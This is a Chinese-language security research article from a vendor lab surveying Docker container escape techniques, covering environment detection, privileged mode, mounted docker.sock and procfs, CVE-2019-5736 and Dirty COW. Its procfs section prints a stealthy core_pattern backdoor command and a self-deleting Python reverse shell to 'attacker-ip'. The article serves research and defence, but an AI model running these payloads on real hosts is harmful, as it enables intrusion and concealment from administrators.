【雲原生攻防研究】容器逃逸技術概覽

  • 2020 年 2 月 25 日
  • 筆記

近年來,容器技術持續升溫,全球範圍內各行各業都在這一輕量級虛擬化方案上進行著積極而富有成效的探索,使其能夠迅速落地並賦能產業,大大提高了資源利用效率和生產力。隨著容器化的重要甚至核心業務越來越多,容器安全的重要性也在不斷提高。作為一項依然處於發展階段的新技術,容器的安全性在不斷地提高,也在不斷地受到挑戰。與其他虛擬化技術類似,在其面臨的所有安全問題當中,「逃逸問題」最為嚴重——它直接影響到了承載容器的底層基礎設施的保密性、完整性和可用性。

從攻防的角度來看,「容器逃逸」是一個很大的話題,它至少涉及了攻方視角下的成因、過程和結果,以及守方視角下的檢測與防禦。本系列文章將對這一話題作研究和討論,嘗試把日益複雜的攻防技術與態勢條理化展開,希望能夠帶來有益思考。

本文將主要梳理並介紹已有的容器逃逸技術,幫助大家對這一主題建立基本了解。

一、前言

善守者,藏於九地之下;善攻者,動於九天之上。

我們談「容器逃逸」,搜索引擎中輸入這四個字也能找到為數不多的解讀和研究。那麼什麼是「容器逃逸」?我們如何定義「容器逃逸」?對這個問題的深入理解有助於研究的展開。開宗明義,本文將「容器逃逸」限定在一個較為狹窄的範圍,並圍繞此展開討論:

「容器逃逸」指這樣的一種過程和結果:首先,攻擊者通過劫持容器化業務邏輯,或直接控制(CaaS等合法獲得容器控制權的場景)等方式,已經獲得了容器內某種許可權下的命令執行能力;攻擊者利用這種命令執行能力,藉助一些手段進一步獲得該容器所在直接宿主機(經常見到「物理機運行虛擬機,虛擬機再運行容器」的場景,該場景下的直接宿主機指容器外層的虛擬機)上某種許可權下的命令執行能力。

注意以下幾點:

1. 基於電腦科學領域層式思想及分類討論的原則,我們定義「直接宿主機」概念,避免在容器逃逸問題內引入虛擬機逃逸問題;

2. 基於上述定義,從滲透測試的角度來看,本文理解的容器逃逸或許更趨向于歸入後滲透階段;

3. 同樣基於分類討論的原則,我們僅僅討論某種技術的可行性,不刻意涉及隱藏與反隱藏,檢測與反檢測等問題;

4. 將最終結果確定為獲得直接宿主機上的命令執行能力,而不包括宿主機文件或記憶體讀寫能力(或者說,我們認為這些是通往最終命令執行能力的手段);

5. 一些特殊的漏洞利用方式,如在軟體供應鏈階段能夠觸發漏洞的惡意鏡像、在容器內構造的惡意符號鏈接、在容器內劫持動態鏈接庫等,其本質上還是攻擊者獲得了容器內某種許可權下的命令執行能力,即使這種能力可能是間接的。

這些「注意」的每一點延伸開來,都能夠獲得很有意思的見解。例如,結合第4點我們可以想到,在許可權持久化攻防博弈的進程中,人們逐漸積累了許許多多Linux場景下建立後門的方法。其中一大經典模式是向特定文件中寫入綁定shell或反彈shell語句,五花八門,不勝枚舉。那麼如果容器掛載了宿主機的某些文件或目錄,將掛載列表和前述用於建立後門寫入shell的文件、目錄列表取交集,是不是就可以得到容器逃逸的可能途徑呢(例如後文4.2節介紹的情況)?進一步說,用於防禦和檢測後門的思路和技術,經過改進和移植是否也能覆蓋掉某種類型的容器逃逸問題呢?

帶著這些問題和理解,我們開始探索之旅。後文的組織結構如下:

• 介紹容器環境檢測技術

• 介紹危險配置導致的容器逃逸

• 介紹危險掛載導致的容器逃逸

• 介紹相關程式漏洞導致的容器逃逸

• 介紹內核漏洞導致的容器逃逸

二、 容器環境探測檢查

為了使邏輯鏈條更加完整,我們首先介紹一些確定運行環境是容器環境的檢查方法。

1為什麼要探測容器環境?

未知攻焉知防。從攻擊者的視角來看,好的攻擊不是使用Armitage之類的工具把ExP亂投一遍(當然,Armitage還有別的精細化功能),而是因地制宜,對症下藥。放到本文的語境下,我們要清楚目標環境是不是容器,然後才談得上容器逃逸。除此之外,筆者認為探查容器環境至少還有以下收益:

1

建立對目標環境的感性認識:如果判斷目標環境是一個容器環境,那麼攻擊者就能夠為後續工作做更多準備。例如:

–容器環境下許多工具通常是不存在的,例如ping、ipconfig等網路相關工具及gcc等構建工具。

–成熟業務往往不會直接在容器這一層次進行部署和控制,而是採用諸如Kubernetes之類的編排系統進行統一編排和調度,Kubernetes中每個Pod是一台邏輯主機,目標容器所在的Pod內很可能存在其他容器。

2

評估、發現目標環境潛在的脆弱點:如果判斷目標環境是一個容器環境,那麼攻擊者就能夠進一步利用容器相關背景知識去有針對性地查找漏洞。例如:

–容器使用了什麼鏡像?鏡像是否包含漏洞?

–既然有容器,那麼Docker甚至Kubernetes的服務埠會不會暴露在外面?

–如果能夠通過此容器發現宿主機內核的問題,那麼這一問題是否會同時影響該宿主機上部署的其他容器?

–進一步講,如果發現當前宿主機內核的問題,又發現目標是類似Kubernetes的集群環境,那麼是否會有更多的宿主機節點存在相同問題?如何在這樣的環境中橫向移動?

2如何探測檢查容器環境?

James Otten為Metasploit編寫了checkcontainer模組[1](在Metasploit中,與之類似的還有checkvm模組,感興趣的讀者可以自行了解)。該模組的檢查是簡單而直觀的,僅僅進行了三處檢查:

1. 檢查/.dockerenv文件是否存在;

2. 檢查/proc/1/cgroup內是否包含"docker"等字元串;

3. 檢查是否存在container環境變數。

關於容器環境檢查,網路上已經存在一些討論的文章[2][3]。另外,攻防的本質是對抗,因此在幾乎所有「檢測」的領域,人們都會提出「反檢測」和「反-反檢測」的話題。如前所述,我們暫不深入。至少,在筆者部署的構建於2019年11月13日,版本為19.03.5的Docker測試環境中,該檢測還是有效的:

Cgroup自不必提,.dockerenv從Docker發布開始,經過不斷的迭代後依然存在著,這倒蠻有意思。有人提出了相關的問題[4],其中還提到.dockerinit文件,只不過該文件在較新的Docker版本下已經不存在了。

三、危險配置導致的容器逃逸

安全往往在痛定思痛時得到發展。在這些年的迭代中,容器社區一直在努力將「縱深防禦」、「最小許可權」等理念和原則落地。例如,Docker已經將容器運行時的Capabilities黑名單機制改為如今的默認禁止所有Capabilities,再以白名單方式賦予容器運行所需的最小許可權。截止本文成稿時,Docker默認賦予容器近40項許可權[12]中的14項[13]:

func DefaultCapabilities() []string {          return []string{                  "CAP_CHOWN",                  "CAP_DAC_OVERRIDE",                  "CAP_FSETID",                "CAP_FOWNER",                  "CAP_MKNOD",                  "CAP_NET_RAW",                  "CAP_SETGID",                "CAP_SETUID",                "CAP_SETFCAP",                "CAP_SETPCAP",                "CAP_NET_BIND_SERVICE",                "CAP_SYS_CHROOT",                "CAP_KILL",                "CAP_AUDIT_WRITE",          }  }

然而,無論是細粒度許可權控制還是其他安全機制,用戶都可以通過修改容器環境配置或在運行容器時指定參數來縮小或擴大約束。如果用戶為不完全受控的容器提供了某些危險的配置參數,就為攻擊者提供了一定程度的逃逸可能性。

1Privileged特權模式運行容器

最初,容器特權模式的出現是為了幫助開發者實現Docker-in-Docker特性[14]。然而,在特權模式下運行不完全受控容器將給宿主機帶來極大安全威脅。這裡筆者將官方文檔[15]對特權模式的描述摘錄出來供參考:

當操作者執行docker run –privileged時,Docker將允許容器訪問宿主機上的所有設備,同時修改AppArmor或SELinux的配置,使容器擁有與那些直接運行在宿主機上的進程幾乎相同的訪問許可權。

如下圖所示,我們以特權模式和非特權模式創建了兩個容器,其中特權容器內部可以看到宿主機上的設備:

在這樣的場景下,從容器中逃逸出去易如反掌,手段也是多樣的。例如,攻擊者可以直接在容器內部掛載宿主機磁碟,然後將根目錄切換過去:

至此,攻擊者已經基本從容器內逃逸出來了。我們說「基本」,是因為僅僅掛載了宿主機的根目錄,如果用ps查看進程,看到的還是容器內的進程,因為沒有掛載宿主機的procfs。當然,這些已經不是難題。

四、危險掛載導致的容器逃逸

為了方便宿主機與虛擬機進行數據交換,幾乎所有主流虛擬機解決方案都會提供掛載宿主機目錄到虛擬機的功能。容器同樣如此。然而,將宿主機上的敏感文件或目錄掛載到容器內部——尤其是那些不完全受控的容器內部往往會帶來安全問題。

儘管如此,在某些特定場景下,為了實現特定功能或方便操作(例如為了在容器內對容器進行管理將Docker Socket掛載到容器內),人們還是選擇將外部敏感卷掛載入容器。隨著容器技術應用的逐漸深化,掛載操作變得愈加廣泛,由此而來的安全問題也呈現上升趨勢。

1掛載Docker Socket的情況

Docker Socket是Docker守護進程監聽的Unix域套接字,用來與守護進程通訊——查詢資訊或下發命令。如果在攻擊者可控的容器內掛載了該套接字文件(/var/run/docker.sock),容器逃逸就相當容易了,除非有進一步的許可權限制。

我們通過一個小實驗來展示這種逃逸可能性:

1. 首先創建一個容器並掛載/var/run/docker.sock;

2. 在該容器內安裝Docker命令行客戶端;

3. 接著使用該客戶端通過Docker Socket與Docker守護進程通訊,發送命令創建並運行一個新的容器,將宿主機的根目錄掛載到新創建的容器內部;

4. 在新容器內執行chroot將根目錄切換到掛載的宿主機根目錄。

具體交互如下圖所示:

至此,攻擊者已經基本從容器內逃逸出來了。與3.1小節類似,我們說「基本」,是因為僅僅掛載了宿主機的根目錄,如果用ps查看進程,看到的還是容器內的進程,因為沒有掛載宿主機的procfs。同樣,這些已經不是難題。

2掛載宿主機procfs的情況

對於熟悉Linux和雲計算的朋友來說,procfs絕對不是一個陌生的概念,不熟悉的朋友可以參考網路上相關文章或直接在Linux命令行下執行man proc查看文檔。

procfs是一個偽文件系統,它動態反映著系統內進程及其他組件的狀態,其中有許多十分敏感重要的文件。因此,將宿主機的procfs掛載到不受控的容器中也是十分危險的,尤其是在該容器內默認啟用root許可權,且沒有開啟User Namespace時(截止到本文成稿時,Docker默認情況下不會為容器開啟User Namespace)。

一般來說,我們不會將宿主機的procfs掛載到容器中。然而,筆者也觀察到,有些業務為了實現某些特殊需要,還是會將該文件系統掛載進來。

procfs中的/proc/sys/kernel/core_pattern負責配置進程崩潰時記憶體轉儲數據的導出方式。從手冊[6]中我們能獲得關於記憶體轉儲的詳細資訊,這裡摘錄其中一段對於我們後面的討論來說十分關鍵的資訊:

從2.6.19內核版本開始,Linux支援在/proc/sys/kernel/core_pattern中使用新語法。如果該文件中的首個字元是管道符|,那麼該行的剩餘內容將被當作用戶空間程式或腳本解釋並執行。

上述文字描述的新功能原本是為了方便用戶獲得並處理記憶體轉儲數據,然而,它提供的命令執行能力也使其成為攻擊者建立後門的候選地。一篇文章[7]介紹了基於core_pattern的創建隱蔽後門方法,思路十分巧妙,亮點在於其隱蔽特性(前文我們提到不刻意涉及隱藏問題,但自帶隱藏屬性當然是最好的)。

結合前言部分第4點的延伸思考,我們來做一個在掛載procfs的容器內利用core_pattern後門實現逃逸的實驗。

具體而言,攻擊者進入到一個掛載了宿主機procfs(為方便區分,我們將其掛載到容器內/host/proc)的容器中,具有root許可權,然後向宿主機procfs寫入payload:

echo -e "|/tmp/.x.py rcore       " >  /host/proc/sys/kernel/core_pattern  

接著,在容器內創建作為反彈shell的/tmp/.x.py:

import  os  import ptyimport socketlhost = "attacker-ip"lport = 10000  def main():  7    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  8    s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")os.remove('/tmp/.x.py')s.close()if __name__ == "__main__":main()               

最後,在容器內運行一個可以崩潰的程式即可,例如:

int main(void)  {         int *a  = NULL;         *a = 1;         return 0;   } 

前面提到的亮點在於:

1. payload中使用空格加r的方式,巧妙覆蓋掉了真正的|/tmp/.x.py,這樣一來,即使管理員通過cat /proc/sys/kernel/core_pattern的方式查看,也只能看到core;

2. /tmp/.x.py是一個隱藏文件,直接ls是看不到的;

3. os.remove('/tmp/.x.py')在反彈shell的過程中刪掉了用來反彈shell的程式自身。

其實,如果能再多做一步操作,在逃逸後順便把宿主機上的/proc/sys/kernel/core_pattern恢復成原樣,就更具有欺騙性了。

下圖是容器內的操作過程:

下圖展示了攻擊者獲得的反彈shell:

五、相關程式漏洞導致的容器逃逸

所謂相關程式漏洞,指的是那些參與到容器生態中的服務端、客戶端程式自身存在的漏洞。

下圖[8]較為完整地展示了除底層作業系統外的容器及容器集群環境的程式組件。本節涉及到的相關漏洞均分布在這些程式當中。

1CVE-2019-5736

CVE-2019-5736是由波蘭CTF戰隊Dragon Sector在35C3 CTF賽後基於賽中一道沙盒逃逸題目獲得的啟發,對runc進行漏洞挖掘,成功發現的一個能夠覆蓋宿主機runc程式的容器逃逸漏洞。該漏洞於2019年2月11日通過郵件列表披露。

「綠盟科技研究通訊」曾發表過一篇《容器逃逸成真:從CTF解題到CVE-2019-5736漏洞挖掘分析》,深度講解了該漏洞的前因後果及作為啟發的35C3 CTF題目,推薦感興趣的讀者閱讀。

我們先在本地搭建起漏洞環境(下圖給出了docker和runc的版本號供參照),然後運行一個容器,在容器中模仿攻擊者執行/poc程式[9],該程式在覆蓋容器內/bin/sh為#!/proc/self/exe後等待runc的出現。具體過程如下圖所示(圖中下方「找到PID為28的進程並獲得文件描述符」是宿主機上受害者執行docker exec操作之後才觸發的):

容器內的/poc程式運行後,我們在容器外的宿主機上模仿受害者使用docker exec命令執行容器內/bin/sh打開shell的場景。觸發漏洞後,一如預期,並沒有互動式shell打開,相反,/tmp下已經出現攻擊者寫入的hello,host,具體過程如下圖所示:

這裡我們進行概念性驗證,所以僅僅向宿主機上寫入文件。事實上,該漏洞的真正效果是命令執行。

六、內核漏洞導致的容器逃逸

Linux內核漏洞的危害之大、影響範圍之廣,使得它在各種攻防話題下都佔據非常重要的一席。無論是傳統的許可權提升、Rootkit(隱蔽通訊和高許可權訪問持久化)、DDoS,還是如今我們談論的容器逃逸,一旦有內核漏洞加持,往往就會從不可行變為可行,從可行變為簡單。事實上,無論攻防場景怎樣變化,我們對內核漏洞的利用往往都是從用戶空間非法進入內核空間開始,到內核空間賦予當前或其他進程高許可權後回到用戶空間結束。

就容器來講,歸根結底,它只是一種受到各種安全機制約束的進程,因此從攻防兩端來看,容器逃逸都遵循傳統的許可權提升流程。攻擊者可以憑藉此特點拓展容器逃逸的思路(一旦有新的內核漏洞產生,就可以考慮它是否能夠用於容器逃逸),防守者則能夠針對此特徵進行防護(為宿主機內核打修補程式就阻止了這種逃逸手段)和檢測(內核漏洞利用有什麼特點)。

本文並非以內核漏洞為關注點,列舉並剖析過多的內核漏洞於目標沒有大的益處。我們可以提出的問題是,為什麼內核漏洞能夠用於容器逃逸?在具體實施過程中與內核漏洞用於傳統許可權提升有什麼不同?在有了內核漏洞利用程式碼之後還需要做哪些工作才能實現容器逃逸?這些工作是否能夠工程化,進而形成固定套路?這些問題將把我們帶入更深層次的研究中去,也會有不一樣的收穫。一如主旨,我們將這些問題留給後續文章,本文還是將重點放在案例的介紹上面。

1CVE-2016-5195

近年來,Linux系統曝出過無數內核漏洞,其中能夠用來提權的也不少,臟牛(CVE-2016-5195依賴於記憶體頁的寫時複製機制,該機制英文名稱為Copy-on-Write,再結合記憶體頁特性,將漏洞命名為Dirty CoW,譯為臟牛)大概是其中最有名氣的漏洞之一。漏洞發現者甚至為其申請了專屬域名(dirtycow.ninja),在筆者的印象中,上一個同樣申請了域名的嚴重漏洞還是2014年的心臟滴血(CVE-2014-0160,heartbleed.com)。自這兩個漏洞開始,越來越多的研究人員開始為他們發現的高危漏洞申請域名(儘管依然是極少數)。

關於臟牛漏洞的分析和利用文章早已遍布全網。這裡我們使用來自scumjr的PoC[10]來完成容器逃逸。該利用的核心思路是向vDSO內寫入shellcode並劫持正常函數的調用過程。

首先布置好實驗環境,然後在宿主機上以root許可權創建/root/flag並寫入以下內容:

接著進入容器,執行漏洞利用程式,在攻擊者指定的競爭條件勝出後,可以獲得宿主機上反彈過來的shell,在shell中成功讀取之前創建的高許可權flag:

七、總結

本文梳理了當下常見的容器逃逸相關技術。我們先介紹了容器環境檢測的意義和方法,然後從「危險配置」、「危險掛載」、「相關程式漏洞」及「內核漏洞」四個方面介紹了若干容器逃逸方法,並進行簡單的Demo展示。

本文的主要目的是幫助大家建立對「容器逃逸」的基本了解,認識到這一問題的嚴重性、廣泛性和複雜性,並未涉及過多深層次知識。後續,我們將逐漸深入探討相關逃逸技術及底層原理,並在充分了解攻方手段後,轉換到守方視角,提出行之有效的防禦和檢測方法。


註:

• 本文主要以Docker為實際場景進行探討。另外,文中提到的絕大多數安全問題同樣影響同等角色的其他容器實現。

• 第4節題圖來自[5]。

• 第6節題圖來自[11]。

參考文獻:

[1].rapid7/metasploit-framework/blob/master/modules/post/linux/gather/checkcontainer.rb

[2].How to determine if a process runs inside lxc/Docker?

[3].Docker容器環境檢測方法【程式碼】

[4].What are .dockerenv and .dockerinit?

[5].Docker Tips : about /var/run/docker.sock

[6].Linux Programmer's Manual: core – core dump file

[7].利用 /proc/sys/kernel/core_pattern隱藏系統後門

[8].containerd

[9].Frichetten/CVE-2019-5736-PoC

[10].scumjr/dirtycow-vdso

[11].A high-risk two-years old flaw in Linux kernel was just patched

[12].Linux Programmer's Manual: capabilities – overview of Linux capabilities

[13].moby/moby

[14].Docker can now run within Docker

[15].Runtime privilege and Linux capabilities

關於星雲實驗室

星雲實驗室專註於雲計算安全、解決方案研究與虛擬化網路安全問題研究。基於IaaS環境的安全防護,利用SDN/NFV等新技術和新理念,提出了軟體定義安全的雲安全防護體系。承擔並完成多個國家、省、市以及行業重點單位創新研究課題,已成功孵化落地綠盟科技雲安全解決方案。目前已發布多篇研究報告,包括《軟體定義安全2016年版》、《2018綠盟科技容器安全技術報告》等。

內容編輯:星雲實驗室 阮博男 責任編輯:肖晴

本公眾號原創文章僅代表作者觀點,不代表綠盟科技立場。所有原創內容版權均屬綠盟科技研究通訊。未經授權,嚴禁任何媒體以及微信公眾號複製、轉載、摘編或以其他方式使用,轉載須註明來自綠盟科技研究通訊並附上本文鏈接。